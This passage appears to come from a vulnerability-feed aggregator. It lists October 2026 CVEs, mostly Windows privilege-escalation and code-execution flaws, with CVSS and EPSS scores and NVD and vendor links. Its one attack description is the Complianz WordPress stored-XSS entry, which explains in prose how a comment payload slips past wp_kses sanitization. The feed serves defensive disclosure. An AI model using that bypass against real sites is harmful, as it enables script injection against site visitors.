Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97812
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97812&date=2026-10-25
Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97811
Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97811).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97811&date=2026-10-25).
Sources:
NVD CVE-2026-97811: https://nvd.nist.gov/vuln/detail/CVE-2026-97811
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97811
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97811&date=2026-10-25
Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97809
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97809).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97809&date=2026-10-25).
Sources:
NVD CVE-2026-97809: https://nvd.nist.gov/vuln/detail/CVE-2026-97809
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97809
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97809&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97808
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97808).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97808&date=2026-10-25).
Sources:
NVD CVE-2026-97808: https://nvd.nist.gov/vuln/detail/CVE-2026-97808
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97808&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97807
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97807).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97807&date=2026-10-25).
Sources:
NVD CVE-2026-97807: https://nvd.nist.gov/vuln/detail/CVE-2026-97807
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97807
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97807&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97806
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97806).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97806&date=2026-10-25).
Sources:
NVD CVE-2026-97806: https://nvd.nist.gov/vuln/detail/CVE-2026-97806
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97806
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97806&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97805
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97805).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97805&date=2026-10-25).
Sources:
NVD CVE-2026-97805: https://nvd.nist.gov/vuln/detail/CVE-2026-97805
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97805
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97805&date=2026-10-25
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97804
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97804).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97804&date=2026-10-25).
Sources:
NVD CVE-2026-97804: https://nvd.nist.gov/vuln/detail/CVE-2026-97804
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97804
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97804&date=2026-10-25
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97798
Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97798).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97798&date=2026-10-25).
Sources:
NVD CVE-2026-97798: https://nvd.nist.gov/vuln/detail/CVE-2026-97798
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97798&date=2026-10-25
Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97793
Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97793).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97793&date=2026-10-25).
Sources:
NVD CVE-2026-97793: https://nvd.nist.gov/vuln/detail/CVE-2026-97793
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97793
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97793&date=2026-10-25
Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all...
https://kevwire.com/record/CVE-2026-97339
The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all... (Oct 16, 2026).
The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all versions up to, and including, 7.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress's wp_kses comment sanitization because the payload uses only allow-listed tags and hides executable tokens inside quoted attribute values as plain text; the XSS is only realized when Complianz's own output-buffer filter performs str_replace() rewrites that break out of the attribute context, and requires the comment to be approved before it executes for visitors.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97339).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97339&date=2026-10-25).
Sources:
NVD CVE-2026-97339: https://nvd.nist.gov/vuln/detail/CVE-2026-97339
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97339&date=2026-10-25
The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via yotu-wp Cookie-Blocker Filter in all versions up to, and including, 7.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress's wp_kses comment sanitization because the payload uses only allow-listed tags and hides executable tokens inside quoted attribute values as plain text; the XSS is only realized when Complianz's own output-buffer filter performs str_replace() rewrites that break out of the attribute context, and requires the comment to be approved before it executes for visitors.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-96953
Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally. (Oct 13, 2026).
Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96953).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96953&date=2026-10-25).
Sources:
NVD CVE-2026-96953: https://nvd.nist.gov/vuln/detail/CVE-2026-96953
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96953
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96953&date=2026-10-25
Null pointer dereference in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96952
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96952).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96952&date=2026-10-25).
Sources:
NVD CVE-2026-96952: https://nvd.nist.gov/vuln/detail/CVE-2026-96952
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96952
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96952&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96950
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96950).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96950&date=2026-10-25).
Sources:
NVD CVE-2026-96950: https://nvd.nist.gov/vuln/detail/CVE-2026-96950
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96950
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96950&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96949
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96949).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96949&date=2026-10-25).
Sources:
NVD CVE-2026-96949: https://nvd.nist.gov/vuln/detail/CVE-2026-96949
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96949&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96947
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96947).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96947&date=2026-10-25).
Sources:
NVD CVE-2026-96947: https://nvd.nist.gov/vuln/detail/CVE-2026-96947
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96947
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96947&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96946
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96946).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96946&date=2026-10-25).
Sources:
NVD CVE-2026-96946: https://nvd.nist.gov/vuln/detail/CVE-2026-96946
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96946
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96946&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96937
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96937).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96937&date=2026-10-25).
Sources:
NVD CVE-2026-96937: https://nvd.nist.gov/vuln/detail/CVE-2026-96937
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96937&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96243
Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96243).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96243&date=2026-10-25).
Sources:
NVD CVE-2026-96243: https://nvd.nist.gov/vuln/detail/CVE-2026-96243
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96243&date=2026-10-25
Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96209
Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96209).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96209&date=2026-10-25).
Sources:
NVD CVE-2026-96209: https://nvd.nist.gov/vuln/detail/CVE-2026-96209
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96209&date=2026-10-25
Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96118
Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96118).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96118&date=2026-10-25).
Sources:
NVD CVE-2026-96118: https://nvd.nist.gov/vuln/detail/CVE-2026-96118
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96118&date=2026-10-25
Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96071
Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96071).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96071&date=2026-10-25).
Sources:
NVD CVE-2026-96071: https://nvd.nist.gov/vuln/detail/CVE-2026-96071
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96071
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96071&date=2026-10-25
Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mailu is a mail server distributed as a set of Docker images.
https://kevwire.com/record/CVE-2026-86008
Mailu is a mail server distributed as a set of Docker images. (Oct 16, 2026).
